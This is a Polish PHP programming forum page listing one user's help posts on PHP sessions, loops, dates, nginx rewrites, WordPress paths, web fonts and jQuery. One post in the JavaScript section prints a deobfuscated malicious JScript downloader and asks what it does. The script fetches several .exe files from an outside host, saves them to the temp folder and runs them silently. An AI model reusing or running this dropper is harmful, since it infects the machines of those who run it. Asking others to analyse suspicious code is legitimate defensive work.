Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

4 Stron V   1 2 3 > » 

freemp3
Napisane: 17.02.2020, 12:11:35





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Trzeba sprawdzić, czy data w pętli jest datą z danego pliku. Jeśli nazwa pliku jest datą, to możesz z tego skorzystać, jeśli nie to w tedy na początku pliku należy dodać zmienną, która będzie przechowywała taką informację.
  Forum: Przedszkole · Podgląd postu: #1249671 · Odpowiedzi: 12 · Wyświetleń: 672

freemp3
Napisane: 14.02.2020, 12:55:58





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

1. Już chyba trzeci raz to pisze wink.gif Trzeba to zrobić w pętli while i można to zrobić na dwa sposoby:
- w tej pętli while, którą masz teraz generujesz gotowy kod html odpowiadający tylko za listę i za nic poza tym, a później wstawiasz to w odpowiednim miejscu. Pamiętaj, że pętla za każdym razem nadpisuje zmienną więc trzeba użyć operatora dodawania a nie zwykłego przypisania oraz, żeby przed pętlą while ustawić zmienną na pusta, bo w przeciwnym wypadku przy kolejnym przejściu pętli for będziesz miał tam rekordy z poprzedniej daty.
- przenosisz pętle while w miejsce w którym mają być wyświetlone te dane i tam generujesz listę

2.Switch tu nie jest potrzebny. Stwórz na początku skryptu tablicę z miesiącami po polsku, w której kluczami będą numery miesięcy. Później przy wyświetlaniu wyciągasz z tablicy wartość o kluczu z numerem danego miesiąca i gotowe.
  Forum: Przedszkole · Podgląd postu: #1249628 · Odpowiedzi: 12 · Wyświetleń: 672

freemp3
Napisane: 13.02.2020, 12:47:57





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Nie zapętla się ponieważ tworzenie zmiennej $plik_1a_zawartosc w dalszym ciągu jest w zmiennej while a powinno być za nią. W pętli while powinno być tylko generowanie listy klubów, która później zostanie dołączona do zawartości pliki. Oprócz tego po co Ci zmienna $club_view, skoro jej nie wykorzystujesz i za każdym przejściem pętli jest nadpisywana?

Co do daty to przy jej tworzeniu przed pętlą for utwórz obiekt z datą wczorajszą a nie dzisiejszą i tyle.
  Forum: Przedszkole · Podgląd postu: #1249599 · Odpowiedzi: 12 · Wyświetleń: 672

freemp3
Napisane: 19.09.2019, 11:01:57





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Tutaj jest wszystko ładnie opisane: https://www.tiny.cloud/pricing
Co do CDN-a to ani klucz, ani rejestracja nie jest wymagana: https://www.tiny.cloud/get-tiny
  Forum: Hydepark · Podgląd postu: #1245586 · Odpowiedzi: 6 · Wyświetleń: 2 871

freemp3
Napisane: 12.03.2019, 13:25:19





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Tworzysz sobie dodatkową tablicę w której kluczem będzie wartość z order_id, a wartością indeks w tablicy z elementami.
Następnie lecąc w pętli po tablicy z elementami ustawiasz im wartość "lp" na 0 oraz dodajesz do tej dodatkowej elementy na zasadzie "order_id -> indeks".
W przypadku, gdy istnieje już klucz o danym order_id to nie dodajesz, tylko pobierasz wartość z dodatkowej tablicy dla danego klucza order_id. Mając indeks, możesz ustawić wartość "lp", dla pierwszego elementu na 1.
  Forum: PHP · Podgląd postu: #1239272 · Odpowiedzi: 1 · Wyświetleń: 592

freemp3
Napisane: 26.10.2017, 14:02:16





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Zmieniasz datę o pełne 30 dni, więc godzina pozostaje ta sama. Możesz od daty końcowej odjąć jedną sekundę, w tedy będziesz miał zakres o który Ci chodzi.
Możesz również przy sprawdzaniu daty w warunku, w dacie początkowej dodać znak równości, natomiast przy końcowej już nie. Wszystko zależy od tego, co chcesz z tymi wartościami zrobić.
  Forum: Przedszkole · Podgląd postu: #1223601 · Odpowiedzi: 5 · Wyświetleń: 397

freemp3
Napisane: 8.08.2017, 09:29:41





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Tworzysz przed pętlą jakąś pustą zmienną do której będziesz dodawał w kolejnych przejściach pętli adres "aktualnej" części, a następnie doklejasz ją do domeny.
  Forum: PHP · Podgląd postu: #1220146 · Odpowiedzi: 1 · Wyświetleń: 406

freemp3
Napisane: 15.02.2017, 10:20:27





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

W wordpress do tego służą widgety:
https://codex.wordpress.org/WordPress_Widgets
https://codex.wordpress.org/Widgets_API
https://codex.wordpress.org/Widgetizing_Themes
  Forum: Systemy portalowe i CMS'y · Podgląd postu: #1210877 · Odpowiedzi: 3 · Wyświetleń: 4 759

freemp3
Napisane: 17.11.2015, 12:51:23





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Niestety, ale ścieżki są na 100% źle. Na czystym php działa ponieważ wykonujesz plik apaczkaV2.php i względem niego ścieżka jest ok. W wordpressie natomiast wykonywany jest plik index.php znajdujący się w głównym katalogu, a reszta plików, w tym Twój apaczkaV2.php jest do niego dołączany. Dlatego też przy wywołaniu include ścieżka relatywna jest tworzona właśnie na podstawie pliku index.php.

Tak jak radzi bobek358 wykorzystaj ścieżkę absolutną.

Możesz wykorzystać funkcję plugin_dir_path, aby pobrać ściężkę do pluginu apaczkaV2 i na jej podstawie tworzyć ścieżki relatywne, aby przy ewentualnym przeniesieniu strony na inne środowisko nie było problemów.
  Forum: Przedszkole · Podgląd postu: #1176608 · Odpowiedzi: 4 · Wyświetleń: 532

freemp3
Napisane: 31.08.2015, 21:09:48





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Nie działa ponieważ w $_SERVER['REQUEST_URI'] zapewne znajduje się taki adres: projekt/xxx/user/12, a router oczekuje takiego: user/12 smile.gif
  Forum: PHP · Podgląd postu: #1169875 · Odpowiedzi: 10 · Wyświetleń: 915

freemp3
Napisane: 11.02.2015, 14:44:37





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

To jest zwykły obiekt javascript. Trzeba to przekonwertować na JSON i później w php funkcją json_decode z JSON do tablicy smile.gif
  Forum: PHP · Podgląd postu: #1144971 · Odpowiedzi: 5 · Wyświetleń: 743

freemp3
Napisane: 9.02.2015, 14:38:00





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Zgubiłeś / po znaku ^
Kod
rewrite ^/eska_20$ /index.php?do=eska_20 last;
  Forum: Serwery WWW · Podgląd postu: #1144601 · Odpowiedzi: 5 · Wyświetleń: 667

freemp3
Napisane: 9.02.2015, 14:01:54





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Spróbuj tak:
Kod
location / {
index /index.php;
rewrite ^/eska_20$ /index.php?do=eska_20 last;
}
  Forum: Serwery WWW · Podgląd postu: #1144582 · Odpowiedzi: 5 · Wyświetleń: 667

freemp3
Napisane: 3.12.2014, 09:51:47





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Taki jest kod wynikowy wykonywany na końcu:
Kod
function dl(fr,fn,rn)
{
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%")+"\\"+fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn,2);
            xa.close();
        };
    };
    xo.open("GET",fr,false);
    xo.send();
    if (rn > 0) {
        try {
            ws.Run(fn,0,0);
        }
        catch (er) {

        };
    };
};
dl("http://mbbdbl.binarycrafter.com/document.php?id=54575C5E171D171001092414160B100117104A070B094A1408&rnd=2311051","85906495.exe",1);
dl("http://mbbdbl.binarycrafter.com/document.php?id=54575C5E171D171001092414160B100117104A070B094A1408&rnd=3646332","82598137.exe",1);
dl("http://mbbdbl.binarycrafter.com/document.php?id=54575C5E171D171001092414160B100117104A070B094A1408&rnd=1713053","48184342.exe",1);

Może ktoś będzie wiedział co dokładnie to robi smile.gif
  Forum: JavaScript · Podgląd postu: #1134543 · Odpowiedzi: 3 · Wyświetleń: 371

freemp3
Napisane: 13.11.2014, 15:57:43





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

No to jeszcze długa droga przed Tobą.

Owszem, każde z elementów, które wymieniłeś wymaga dostępy do bazy, ale nie ma konieczności ładowania konfiguracji i tworzenia połączenia na nowo za każdym razem. Ładujesz plik konfiguracyjny do główngo pliku (np. index.php), łaczysz się z bazą i następnie ładujesz pozostałe wymagane pliki, czyli góra.php, tresc.php itd.
W tych plikach nie ładujesz już konfiguracji ponieważ jest ona już dodana w pliku index.php i będzie widoczna w każdym kolejno dołaczonym pliku. Nie łączysz się także ponownie z bazą ponieważ połączenie już jest dostępne.

Poucz się jeszcze o dołączaniu plików, o zakresie widoczności zmiennych oraz o połączeniach z bazą danych.
  Forum: Przedszkole · Podgląd postu: #1131967 · Odpowiedzi: 12 · Wyświetleń: 927

freemp3
Napisane: 13.11.2014, 15:14:16





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Usunąć session_start z pliku logowanie.php. Pisałem przecież, że tą funkcję wywołuje się tylko raz.
  Forum: Przedszkole · Podgląd postu: #1131960 · Odpowiedzi: 12 · Wyświetleń: 927

freemp3
Napisane: 13.11.2014, 14:36:10





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Możliwe, ponieważ odwołujesz się do sesji przed wywołaniem session_start. Jeśli wiesz, że będziesz korzystał z sesji globalnie to dodaj wywołanie tej funkcji do jakiegoś pliku, który jest dodawany za każdym razem.
  Forum: Przedszkole · Podgląd postu: #1131955 · Odpowiedzi: 12 · Wyświetleń: 927

freemp3
Napisane: 13.11.2014, 14:19:48





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Sprawdź co znajduje się w sesji po zalogowaniu oraz przed warunkiem, który przed chwilą poprawiałeś.
  Forum: Przedszkole · Podgląd postu: #1131950 · Odpowiedzi: 12 · Wyświetleń: 927

freemp3
Napisane: 13.11.2014, 14:07:05





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

1. Funkcję session_start wywołuje się tylko raz.
2. Odwróć warunek.
  Forum: Przedszkole · Podgląd postu: #1131947 · Odpowiedzi: 12 · Wyświetleń: 927

freemp3
Napisane: 29.10.2014, 15:42:32





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Nie działa, ponieważ przeglądarki interpretują różne typy plików:
Internet Explorer: EOT
Safari (3.2+): TTF / OTF
iPhone (3.1): SVG
Chrome: SVG/TTF/OTF
Firefox (3.5+): TTF/OTF/WOFF
Opera (10+): TTF/OTF

Przykładowy kod:
Kod
@font-face {
  font-family: 'example';
  src: url('path/example.eot');
  src: url('path/example.eot?#iefix') format('embedded-opentype'),
  url('path/example.woff') format('woff'),
  url('path/example.ttf') format('truetype'),
  url('path/example.svg#example') format('svg');
  font-weight: normal;
  font-style: normal;
}


Mając czcionkę, najlepiej jest skorzystać z generatora, który poda Ci pliki w odpowiednich formatach oraz gotowy kod css na tacy np.:
http://www.fontsquirrel.com/tools/webfont-generator
Pamiętać trzeba jedynie o tym, żeby sprawdzić czy czcionka zawiera polskie znaki (lub inne jakich potrzebujemy) oraz w generatorze zaznaczyć, aby dodał je do plików wynikowych
  Forum: Przedszkole · Podgląd postu: #1130188 · Odpowiedzi: 2 · Wyświetleń: 265

freemp3
Napisane: 21.10.2014, 12:07:21





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Jak rozumiem kolejność rzutów nie ma znaczenia i liczy się tylko lista pól w jakie można trafić?

1. Wybierasz liczby
2. Ustawiasz liczby od najmniejszej do największej
3. Sprawdzacz czy taka kombinacja istnieje, jeśli tak dodajesz, jeśli nie wybierasz następne liczby.

Mam nadzieję, że o to chodziło.
  Forum: Przedszkole · Podgląd postu: #1129124 · Odpowiedzi: 2 · Wyświetleń: 482

freemp3
Napisane: 21.10.2014, 14:05:57





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Używając jQuery możesz przesunąć stronę do żądanej wysokości przy pomocy "scrollTop"
  Forum: JavaScript · Podgląd postu: #1129140 · Odpowiedzi: 3 · Wyświetleń: 590

freemp3
Napisane: 25.09.2014, 14:19:20





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Możesz również pominąć use i napisać tak:
  1. $r = new classes\Klasa();


Kod z pierwszego postu nie zadziałał ponieważ w pliku z klasą nie zadeklarowałeś przestrzeni nazw:
  1. namespace classes;
  Forum: PHP · Podgląd postu: #1126407 · Odpowiedzi: 14 · Wyświetleń: 923

freemp3
Napisane: 24.09.2014, 11:29:45





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Pobierasz elementy, które mają atrybut data-rel i przypisujesz tą wartość do rel:
Kod
jQuery("span[data-rel]").each(function(key, element){
            var el = jQuery(element);
            el.attr('rel', el.data('rel'));
        });
  Forum: JavaScript · Podgląd postu: #1126197 · Odpowiedzi: 3 · Wyświetleń: 587

freemp3
Napisane: 27.08.2014, 09:20:49





Grupa: Zarejestrowani
Postów: 467
Dołączył: 6.09.2008
Skąd: Miechów / Kraków

Ostrzeżenie: (0%)
-----

Ogólnie zasada jest bardzo prosta. Tworzysz sobie klasę, w której implementujesz metody magiczne takie jak: __set, __get, __isset oraz __unset. Dodatkowo dodajesz metodę odpowiadającą za wyświetlanie, w której dołączasz plik z widokiem. Dzięki temu będziesz się mógł w nim odwoływać do zmiennych przy pomocy $this.

Cała sztuszka polega właśnie na odpowiednim zaimplementowaniu wcześniej wymienionych metod. To gdzie będziesz przetrzymywał zmienne, już zależy tylko od Ciebie. Zend na przykład zapisuje je bezpośrednio w obiekcie, z tym że nazwa zmiennej nie może mieć podkreślenia na początku (zabezpieczenie przed nadpisaniem pól obiektu):
  1. public function __set($key, $val)
  2. {
  3. if ('_' != substr($key, 0, 1)) {
  4. $this->$key = $val;
  5. return;
  6. }
  7.  
  8. require_once 'Zend/View/Exception.php';
  9. $e = new Zend_View_Exception('Setting private or protected class members is not allowed');
  10. $e->setView($this);
  11. throw $e;
  12. }


  Forum: Frameworki · Podgląd postu: #1121767 · Odpowiedzi: 8 · Wyświetleń: 615

4 Stron V   1 2 3 > » 

New Posts  Nowe odpowiedzi
No New Posts  Brak nowych odpowiedzi
Hot topic  Popularny temat (Nowe)
No new  Popularny temat (Brak nowych)
Poll  Sonda (Nowe)
No new votes  Sonda (Brak nowych)
Closed  Zamknięty temat
Moved  Przeniesiony temat
 

RSS Wersja Lo-Fi Aktualny czas: 25.04.2024 - 02:36